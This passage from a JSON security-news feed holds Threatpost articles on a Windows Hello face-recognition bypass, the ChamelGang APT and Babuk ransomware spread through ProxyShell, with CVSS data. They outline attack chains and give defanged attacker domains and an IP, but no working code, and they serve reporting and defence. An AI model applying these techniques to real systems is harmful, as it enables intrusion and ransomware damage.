false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-26T12:39:54", "id": "THREATPOST:83C349A256695022C2417F465CEB3BB2", "href": "https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-14T18:25:40", "description": "A vulnerability in Microsoft\u2019s Windows 10 password-free authentication system has been uncovered that could allow an attacker to spoof an image of a person\u2019s face to trick the facial-recognition system and take control of a device.\n\nWindows Hello is [a feature](<https://threatpost.com/microsoft-reveals-which-bugs-it-wont-patch/132817/>) in Windows 10 that allows users to authenticate themselves without a password, using a PIN code or biometric identity\u2014either a fingerprint or facial recognition\u2014to access a device or machine. According to Microsoft, about 85 percent of Windows 10 users [use the system.](<https://www.microsoft.com/security/blog/2020/12/17/a-breakthrough-year-for-passwordless-technology/>)\n\nThe Windows Hello bypass vulnerability, tracked as [CVE-2021-34466](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34466>), requires an attacker to have physical access to a device to exploit it, according to researchers at CyberArk Labs who discovered the flaw in March.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nFrom there, they can go on \u201cto manipulate the authentication process by capturing or recreating a photo of the target\u2019s face and subsequently plugging in a custom-made USB device to inject the spoofed images to the authenticating host,\u201d Omer Tsarfati, cybersecurity researcher at CyberArk Labs, wrote [in a report](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>) about the vulnerability published Tuesday.\n\nFurther, exploitation of the bypass can extend beyond Windows Hello systems to \u201cany authentication system that allows a pluggable third-party USB camera to act as biometric sensor,\u201d Tsarfati noted.\n\nResearchers have no evidence that anyone has tried or used the attack in the wild, but someone with motive could potentially use it on a targeted espionage victim, such as \u201ca researcher, scientist, journalist, activist or privileged user with sensitive IP on their device, for example,\u201d according to the analysis.\n\nMicrosoft addressed the vulnerability \u2014 which affects both consumer and business versions of the feature \u2014 in its [July Patch Tuesday update. ](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>)Also, Windows users with Windows Hello Enhanced Sign-in Security \u2014 a new [security feature](<https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/windows-hello-enhanced-sign-in-security>) in Windows that requires specialized and pre-installed hardware, drivers and firmware \u2014 are protected against the any attacks \u201cwhich tamper with the biometrics pipeline,\u201d according to Microsoft.\n\nHowever, Tsarfati said that the solution may not fully mitigate the issue.\n\n\u201cBased on our preliminary testing of the mitigation, using Enhanced Sign-in Security with compatible hardware limits the attack surface but is dependent on users having specific cameras,\u201d he said. \u201cInherent to system design, implicit trust of input from peripheral devices remains. To mitigate this inherent trust issue more comprehensively, the host should validate the integrity of the biometric authentication device before trusting it.\u201d\n\n## **Biometric Weakest Link**\n\nCyberArk researchers posted a video of a proof-of-concept (PoC) for how to exploit the vulnerability, which can be used on both the consumer version, Windows Hello, and an enterprise version of the feature called Windows Hello for Business (WHfB) that businesses use with ActiveDirectory.\n\nThe bypass itself exploits a weakness in the biometric sensor of Windows Hello, which \u201ctransmits information on which the OS \u2026 makes its authentication decision,\u201d he wrote. \u201cTherefore, manipulating this information can lead to a potential bypass to the whole authentication system,\u201d Tsarfati said.\n\nFor facial recognition, the biometric sensor is either a camera embedded in a device, such as a laptop, or connected to a computer via USB. Therefore, the entire process depends on this camera for proof of identity\u2013which is where the vulnerability lies, particularly when a USB camera is used for authentication, he wrote.\n\n\u201cThe answer lies in the input itself,\u201d Tsarfati wrote. \u201cKeyboard input is known only to the person who is typing before the information is entered into the system, while camera input isn\u2019t.\u201d\n\nTherefore, using a camera to access \u201cpublic\u201d information\u2014i.e., a person\u2019s face\u2014for authentication can easily be hijacked, he explained.\n\n\u201cIt is similar to stealing a password, but much more accessible since the data (face) is out there,\u201d Tsarfati wrote. \u201cAt the heart of this vulnerability lies the fact that Windows Hello allows external data sources, which can be manipulated, as a root of trust.\u201d\n\n## **Attack Vector **\n\nResearchers detailed a somewhat complex way for an attacker to capture someone\u2019s image, save the captured frames, impersonate a USB camera device, and eventually send those frames to the Windows hello system for verification.\n\nTo prove the concept, they created a custom USB device that acts as a USB camera with both infrared (IR) and Red Green Blue (RGB) sensors, using an evaluation board manufactured by NXP. They used this custom camera to transmit valid IR frames of the person they were targeting, while sending the RGB frames image of the cartoon character SpongeBob SquarePants.\n\n\u201cTo our surprise, it worked!\u201d Tsarfati wrote.\n\nBased on this understanding, an attacker would only need to implement a USB camera that supports RGB and IR cameras and then send only one genuine IR frame of a victim to bypass the login phase of the device, while the RGB frames can contain any random image, he explained.\n\nThe entire process depends on an attacker having an IR frame of a potential victim to use in an attack, which can be done either by capturing one or converting one of the person\u2019s regular RBG frames to an IR one, Tsarfati explained.\n\n\u201cOur findings show that any USB device can be cloned, and any USB device can impersonate any other USB device,\u201d he said. \u201cWe used the IR frames of a person to \u2018bypass\u2019 the face recognition mechanism. We believe that those IR frames can be created out of regular color images.\u201d\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-14T11:05:04", "type": "threatpost", "title": "Windows Hello Bypass Fools Biometrics Safeguards", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-34466"], "modified": "2021-07-14T11:05:04", "id": "THREATPOST:EB7BF883D5C48A5EBA6AEBB2C210211A", "href": "https://threatpost.com/windows-hello-bypass-biometrics-pcs/167771/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-08-05T14:42:59", "description": "LAS VEGAS \u2013 Microsoft Windows 10 biometric user authentication systems Windows Hello can be bypassed, using a single infrared image of a user\u2019s face planted on a tampered clone of an external USB-based webcam.\n\nThe vulnerability, tracked as [(CVE-2021-34466](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34466>), CVSS score: 5.7), was patched by [Microsoft in July](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>). However, according to research disclosed here at Black Hat USA 2021, the flaw still allows attackers \u2013 in some scenarios \u2013 to bypass Windows Hello and Windows Hello for Business, used for single-sign-on access to a user\u2019s computer and a host of Windows services and associated data.\n\nSecurity research Omer Tsarfati, with CyberArk Labs, outlined his research (dubbed Pass-the-PRT attack) that leveraged a custom-made USB device containing a spoofed image of a Windows 10 user.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAll you need is a valid infrared frame of the target, which can be obtained relatively easily. Next, you need to take that data and put it into a cloned USB-based camera and plug it into the Windows 10 system targeted,\u201d Tsarfati said.\n\nIt may sound like an easy hack, but the attack requires some heavy lifting on the adversary\u2019s part.\n\n![CyberArk's Omer Tsarfati shows Threatpost the NXP board](https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/05093925/CyberArk_Hello_Windows-300x232.jpg)\n\nCyberArk\u2019s Omer Tsarfati shows Threatpost the NXP (i.MX RT1050) circuit board used to mimic a USB camera to bypass Windows Hello.\n\n## **What is a Pass-the-PRT Attack**\n\nGiving a nod to previous research on Windows ecosystem\u2019s tokens and encryption keys by Benjamin Delpy and Dirk-Jan Mollema, Tsarfati said his hack also sidesteps the need to acquire Azure AD (Active Directory) Primary Refresh Tokens (PRT) used for single sign-on access to Windows.\n\nFor this reason, he calls the vulnerability a Pass-the-PRT bug. Similar to Pass-the-Hash and Pass-the-Ticket, a Pass-the-PRT attack, is serious, given the fact that it gives an adversary access to not just local systems, but also Azure-related resources such as MSFT 365 assets.\n\nThe soft underbelly of the Windows Hello biometric authentication platform, which includes PIN, fingerprint and facial recognition, is the reliance on the biometric sensor (camera), the research explained.\n\n\u201cAt the heart of this vulnerability lies the fact that Windows Hello allows external data sources, which can be manipulated, as a root of trust,\u201d Tsarfati said.\n\n## **Hardware Hack Explained**\n\nThe relatively easy part of the hack was capturing the infrared image frame of a targeted victim. \u201cWith a $50 camera from a consumer electronics store you can easily capture a photo of the target. The hard part requires much more than an infrared image,\u201d he said. The challenge for Tsarfati was cloning the camera and the specific design descriptors that Windows uses to validate and trust an external USB camera. These are used with Microsoft\u2019s Windows Hello system to secure a USB session handshake by camera or webcam devices.\n\n\u201cUSB has a strict tree network topology and master/slave protocol for addressing peripheral devices. Once a USB device is connected to the computer bus via the USB port, the host starts a session with the peripheral device. After the session is established between the host and the USB device, the host will send multiple requests to identify the USB device, called descriptor requests,\u201d according to a technical breakdown [posted by CyberArk](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>).\n\n![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/05093832/BHUSA2021_windows_hello_cyberark.png)\n\nThe post continues: \u201cThe host can\u2019t identify which device is connected to the USB port, and therefore it needs to get the information from the connected peripheral device. As unbelievable as it sounds, it means that every device can present itself as whatever it wants, and the host can\u2019t verify this. At least there is nothing in the specification that defines such a process.\u201d\n\nUsing tools ([USBPcap](<https://desowin.org/usbpcap/>) and Wireshark) to capture the URB (USB Request Blocks) packets sent and received by the targeted PC to communicate and validate the Windows Hello authentication, researchers were able to clone a USB camera on a NXP circuit board with IR and RGB sensors. Next, they needed to understand how the cloned USB-based camera defined itself in terms of its USB capabilities and features via \u201cdescriptors that define the device interfaces, alternate settings and endpoints.\u201d\n\n\u201cWe aimed to create a clone that will act as the real camera, so we copied the configuration and the device descriptors,\u201d Tsarfati said.\n\nEasier said than done.\n\nThrough massive trial-and-error, reverse engineering the USB descriptor specifications and cloning the precise USB handshake used by Windows Hello, the researcher finally hit pay dirt. \u201cOnce you have correctly captured and placed the frames in the custom USB camera, you will be able to bypass the login screen,\u201d he said.\n\n## Video Demo of (CVE-2021-34466) Hack and Attack\n\n[![](https://embed-fastly.wistia.com/deliveries/a0824530fd6ed9a97a8cad85702865fc.jpg?image_play_button_size=2x&image_crop_resized=960x540&image_play_button=1&image_play_button_color=4d8fcce0)](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery?wvideo=dfzonzhind>)\n\n## **Not a Perfect Patch**\n\nAfter five months of working with Microsoft on validating and breaking down the bug, Microsoft delivered a patch this past July.\n\n\u201cMicrosoft did release a fix that restricts the number of camera brands it supports with Windows Hello and restricts external cameras, unless a user permits,\u201d he said. \u201cIf the external camera restrictions are disabled by the user, the bypass still is possible.\u201d\n\nMicrosoft responded to CyberArk research, explaining that its July Patch Tuesday mitigation includes an allow list of USB devices that are trusted to be used in the Windows Hello authentication phase. \u201cMicrosoft released [a security update](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34466>) on July 13 that mitigates this issue,\u201d it stated.\n\n\u201cIn addition, customers with Windows Hello Enhanced Sign-in Security are protected against such attacks which tamper with the biometrics pipeline,\u201d Microsoft said in a statement. \u201cEnhanced Sign-in Security is a new security feature in Windows which requires specialized hardware, drivers, and firmware that are pre-installed on the system by device manufacturers in the factory.\u201d\n\nCyberArk [responded on Wednesday, stating](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>): \u201cAccording to our current assessment, exploitation of the vulnerability is still possible via duplication of an external trusted USB device due to the way trust is established.\u201d\n\nResearchers reported the vulnerability to Microsoft in March 2021. Microsoft acknowledge the vulnerability a month later. Microsoft published an advisory regarding mitigations on July 13.\n\n**Worried about where the next attack is coming from? We\u2019ve got your back. ****[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>) ****for our upcoming live webinar, ****[How to Think Like a Threat Actor](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)****, in partnership with Uptycs. Find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on Aug. 17 at 11 a.m. EST for this ****[LIVE](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**** discussion.**\n", "cvss3": {"exploitabilityScore": 0.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "PHYSICAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.2}, "published": "2021-08-05T14:36:23", "type": "threatpost", "title": "Windows Hello Bypass Bug Patch is Faulty, Researchers Say", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 3.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34466"], "modified": "2021-08-05T14:36:23", "id": "THREATPOST:FD93FA1BC6E515A07A697E86BEA1D558", "href": "https://threatpost.com/microsofts-patch-windows-hello-faulty/168392/", "cvss": {"score": 3.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-10-01T12:44:45", "description": "A new APT group has emerged that\u2019s specifically targeting the fuel and energy complex and aviation industry in Russia, exploiting known vulnerabilities like Microsoft Exchange Server\u2019s [ProxyShell](<https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/>) and leveraging both new and existing malware to compromise networks.\n\nResearchers at security firm [Positive Technologies](<https://www.ptsecurity.com/ww-en/>) have been tracking the group, dubbed ChamelGang for its chameleon-like capabilities, since March. Though attackers mainly have been seen targeting Russian organizations, they have attacked targets in 10 countries so far, researchers said in a [report](<https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/>) by company researchers Aleksandr Grigorian, Daniil Koloskov, Denis Kuvshinov and Stanislav Rakovsky published online Thursday.\n\nTo avoid detection, ChamelGang hides its malware and network infrastructure under legitimate services of established companies like Microsoft, TrendMicro, McAfee, IBM and Google in a couple of unique ways, researchers observed.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nOne is to acquire domains that imitate their legitimate counterparts \u2013 such as newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com and mcafee-upgrade.com. The other is to place SSL certificates that also imitate legitimate ones \u2013 such as github.com, www.ibm.com, jquery.com, update.microsoft-support.net \u2013 on its servers, researchers said.\n\nMoreover, ChamelGang \u2013 like [Nobelium](<https://threatpost.com/solarwinds-active-directory-servers-foggyweb-backdoor/175056/>) and [REvil](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) before it \u2013 has hopped on the bandwagon of attacking the supply chain first to gain access to its ultimate target, they said. In one of the cases analyzed by Positive Technologies, \u201cthe group compromised a subsidiary and penetrated the target company\u2019s network through it,\u201d according to the writeup.\n\nThe attackers also appear malware-agnostic when it comes to tactics, using both known malicious programs such as [FRP](<https://howtofix.guide/frp-exe-virus/>), [Cobalt Strike Beacon](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>), and Tiny Shell, as well as previously unknown malware ProxyT, BeaconLoader and the DoorMe backdoor, researchers said.\n\n## **Two Separate Attacks**\n\nResearchers analyzed two attacks by the novel APT: one in March and one in August. The first investigation was triggered after a Russia-based energy company\u2019s antivirus protection repeatedly reported the presence of the Cobalt Strike Beacon in RAM.\n\nAttackers gained access to the energy company\u2019s network through the supply chain, compromising a vulnerable version of a subsidiary company\u2019s web application on the JBoss Application Server. Upon investigation, researchers found that attackers exploited a critical vulnerability, [CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>), to remotely execute commands on the host.\n\nOnce on the energy company\u2019s network, ChamelGang moved laterally, deploying a number of tools along the way. They included Tiny Shell, with which a UNIX backdoor can receive a shell from an infected host, execute a command and transfer files; an old DLL hijacking technique associated with the Microsoft Distributed Transaction Control (MSDTC) Windows service to gain persistence and escalate privileges; and the Cobalt Strike Beacon for calling back to attackers for additional commands.\n\nResearchers were successful in accessing and exfiltrating data in the attack, researchers said. \u201cAfter collecting the data, they placed it on web servers on the compromised network for further downloading \u2026 using the Wget utility,\u201d they wrote.\n\n## **Cutting Short a ProxyShell Attack **\n\nThe second attack was on an organization from the Russian aviation production sector, researchers said. They notified the company four days after the server was compromised, working with employees to eliminate the threat shortly after.\n\n\u201cIn total, the attackers remained in the victim\u2019s network for eight days,\u201d researchers wrote. \u201cAccording to our data, the APT group did not expect that its backdoors would be detected so quickly, so it did not have time to develop the attack further.\u201d\n\nIn this instance, ChamelGang used a known chain of vulnerabilities in Microsoft Exchange called ProxyShell \u2013 CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 \u2013 to compromise network nodes and gain a foothold. Indeed, a number of attackers took advantage of ProxyShell throughout August, [pummeling](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) unpatched Exchange servers with attacks after a [researcher at BlackHat revealed](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) the attack surface.\n\nOnce on the network, attackers then installed a modified version of the backdoor DoorMe v2 on two Microsoft Exchange mail servers on the victim\u2019s network. Attackers also used BeaconLoader to move inside the network and infect nodes, as well as the Cobalt Strike Beacon.\n\n## **Victims Across the Globe**\n\nFurther threat intelligence following the investigation into attacks on the Russian companies revealed that ChamelGang\u2019s activity has not been limited to that country.\n\nPositive Technologies eventually identified 13 more compromised organizations in nine other countries \u2013 the U.S., Japan, Turkey, Taiwan, Vietnam, India, Afghanistan, Lithuania and Nepal. In the last four countries mentioned, attackers targeted government servers, they added.\n\nAttackers often used ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server against victims, who were all notified by the appropriate national security authorities in their respective countries.\n\nChamelGang\u2019s tendency to reach its targets through the supply chain also is likely one that it \u2013 as well as other APTs \u2013 will continue, given the success attackers have had so far with this tactic, researchers added. \u201cNew APT groups using this method to achieve their goals will appear on stage,\u201d they said.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-10-01T12:36:25", "type": "threatpost", "title": "New APT ChamelGang Targets Russian Energy, Aviation Orgs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-01T12:36:25", "id": "THREATPOST:EDFBDF12942A6080DE3FAE980A53F496", "href": "https://threatpost.com/apt-chamelgang-targets-russian-energy-aviation/175272/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-04T16:00:33", "description": "A new-ish threat actor sometimes known as \u201cTortilla\u201d is launching a fresh round of ProxyShell attacks on Microsoft Exchange servers, this time with the aim of inflicting vulnerable servers with variants of the Babuk ransomware.\n\nCisco Talos researchers said in a Wednesday [report](<https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) that they spotted the malicious campaign a few weeks ago, on Oct. 12.\n\nTortilla, an actor that\u2019s been operating since July, is predominantly targeting U.S. victims. It\u2019s also hurling a smaller number of infections that have hit machines in the Brazil, Finland, Germany, Honduras, Thailand, Ukraine and the U.K., as shown on the map below.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03120718/ProxShell-Babuk-map-e1635955653968.jpeg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03120718/ProxShell-Babuk-map-e1635955653968.jpeg>)\n\nVictim distribution map. Source: Cisco Talos.\n\nPrior to this ransomware-inflicting campaign, Tortilla has been experimenting with other payloads, such as the PowerShell-based netcat clone PowerCat.\n\nPowerCat has a penchant for Windows, the researchers explained, being \u201cknown to provide attackers with unauthorized access to Windows machines.\u201d\n\n## ProxyShell\u2019s New Attack Surface\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>)..\n\nIn this latest ProxyShell campaign, Cisco Talos researchers said that the threat actor is using \u201ca somewhat unusual infection chain technique where an intermediate unpacking module is hosted on a pastebin.com clone pastebin.pl\u201d to deliver Babuk.\n\nThey continued: \u201cThe intermediate unpacking stage is downloaded and decoded in memory before the final payload embedded within the original sample is decrypted and executed.\u201d\n\n## Who\u2019s Babuk?\n\nBabuk is a ransomware that\u2019s probably best known for its starring role in a breach of the Washington D.C. police force [in April](<https://threatpost.com/babuk-ransomware-washington-dc-police/165616/>). The gang behind the malware has a short history, having only been [identified in 2021](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>), but that history shows that it\u2019s a [double-extortion](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>) player: one that threatens to post stolen data in addition to encrypting files, as a way of applying thumbscrews so victims will pay up.\n\nThat tactic has worked. As [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>) described in February, Babuk the ransomware had already been lobbed at a batch of at least five big enterprises, with one score: The gang walked away with $85,000 after one of those targets ponied up the money, McAfee researchers said.\n\nIts victims have included Serco, an outsourcing firm that confirmed that it had been [slammed](<https://www.computerweekly.com/news/252495684/Serco-confirms-Babuk-ransomware-attack>) with a double-extortion ransomware attack in late January.\n\nLike many ransomware strains, Babuk is ruthless: It not only encrypts a victim\u2019s machine, it also [blows up backups](<https://threatpost.com/conti-ransomware-backups/175114/>) and deletes the volume shadow copies, Cisco Talos said.\n\n## What\u2019s Under Babuk\u2019s Hood\n\nOn the technical side, Cisco Talos described Babuk as a flexible ransomware that can be compiled, through a ransomware builder, for several hardware and software platforms.\n\nIt\u2019s mostly compiled for Windows and ARM for Linux, but researchers said that, over time, they\u2019ve also seen versions for ESX and a 32-bit, old PE executable.\n\nIn this recent October campaign though, the threat actors are specifically targeting Windows.\n\n## China Chopper Chops Again\n\nPart of the infection chain involves China Chopper: A webshell that dates back to 2010 but which has [clung to relevancy since](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), including reportedly being used in a massive 2019 attack against telecommunications providers called [Operation Soft Cell](<https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers>). The webshell enables attackers to \u201cretain access to an infected system using a client-side application which contains all the logic required to control the target,\u201d as Cisco Talos [described](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>) the webshell in 2019.\n\nThis time around, it\u2019s being used to get to Exchange Server systems. \u201cWe assess with moderate confidence that the initial infection vector is exploitation of ProxyShell vulnerabilities in Microsoft Exchange Server through the deployment of China Chopper web shell,\u201d according to the Cisco Talos writeup.\n\n## The Infection Chain\n\nAs shown in the infection flow chart below, the actors are using either a DLL or .NET executable to kick things off on the targeted system. \u201cThe initial .NET executable module runs as a child process of w3wp.exe and invokes the command shell to run an obfuscated PowerShell command,\u201d according to Cisco Talos\u2019 report.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03130541/infection-flow-chart-e1635959155173.jpeg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03130541/infection-flow-chart-e1635959155173.jpeg>)\n\nInfection flow chart. Source: Cisco Talos.\n\n\u201cThe PowerShell command invokes a web request and downloads the payload loader module using certutil.exe from a URL hosted on the domains fbi[.]fund and xxxs[.]info, or the IP address 185[.]219[.]52[.]229,\u201d researchers said.\n\n\u201cThe payload loader downloads an intermediate unpacking stage from the PasteBin clone site pastebin.pl,\u201d they continued \u2013 a site that \u201cseems to be unrelated to the popular pastebin.com.\u201d\n\nThey continued: \u201cThe unpacker concatenates the bitmap images embedded in the resource section of the trojan and decrypts the payload into the memory. The payload is injected into the process AddInProcess32 and is used to encrypt files on the victim\u2019s server and all mounted drives.\u201d\n\n## More Ingredients in Tortilla\u2019s Infrastructure\n\nBesides the pastebin.pl site that hosts Tortilla\u2019s intermediate unpacker code, Tortilla\u2019s infrastructure also includes a Unix-based download server.\n\nThe site is legitimate, but Cisco Talos has seen multiple malicious campaigns running on it, including hosting variants of the [AgentTesla trojan](<https://threatpost.com/agent-tesla-microsoft-asmi/163581/>) and the [FormBook malware dropper.](<https://threatpost.com/new-formbook-dropper-harbors-persistence/145614/>)\n\n## Babuk\u2019s Code Spill Helps Newbies\n\nIn July, Babuk gang\u2019s source code and builder were spilled: They were [uploaded to VirusTotal](<https://threatpost.com/babuk-ransomware-builder-virustotal/167481/>), making it available to all security vendors and competitors. That leak has helped the ransomware spread to even an inexperienced, green group like Tortilla, Cisco Talos said.\n\nThe leak \u201cmay have encouraged new malicious actors to manipulate and deploy the malware,\u201d researchers noted.\n\n\u201cThis actor has only been operating since early July this year and has been experimenting with different payloads, apparently in order to obtain and maintain remote access to the infected systems,\u201d according to its writeup.\n\nWith Babuk source code readily available, all the Tortilla actors have to know is how to tweak it a tad, researchers said: A scenario that observers predicted back when the code appeared.\n\n\u201cThe actor displays low to medium skills with a decent understanding of the security concepts and the ability to create minor modifications to existing malware and offensive security tools,\u201d Cisco Talos researchers said in assessing the Tortilla gang.\n\n## Decryptor Won\u2019t Work on Variant\n\nWhile a free [Babuk decryptor was released](<https://www.bleepingcomputer.com/news/security/babuk-ransomware-decryptor-released-to-recover-files-for-free/>) last week, it won\u2019t work on the Babuk variant seen in this campaign, according to the writeup: \u201cUnfortunately, it is only effective on files encrypted with a number of leaked keys and cannot be used to decrypt files encrypted by the variant described in this blog post.\u201d\n\n## How to Keep Exchange Safe\n\nTortilla is hosting malicious modules and conducting internet-wide scanning to exploit vulnerable hosts.\n\nThe researchers recommended staying vigilant, staying on top of any infection in its early stages and implementing a layered defense security, \u201cwith the behavioral protection enabled for endpoints and servers to detect the threats at an early stage of the infection chain.\u201d\n\nThey also recommended keeping servers and apps updated so as to squash vulnerabilities, such as the trio of CVEs exploited in the ProxyShell attacks.\n\nAlso, keep an eye out for backup demolition, as the code deletes shadow copies: \u201cBabuk ransomware is nefarious by its nature and while it encrypts the victim\u2019s machine, it interrupts the system backup process and deletes the volume shadow copies,\u201d according to Cisco Talos.\n\nOn top of all that, bolster detection: Watch out for system configuration changes, suspicious events generated by detection systems for an abrupt service termination, or abnormally high I/O rates for drives attached to servers, according to Cisco Talos.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", 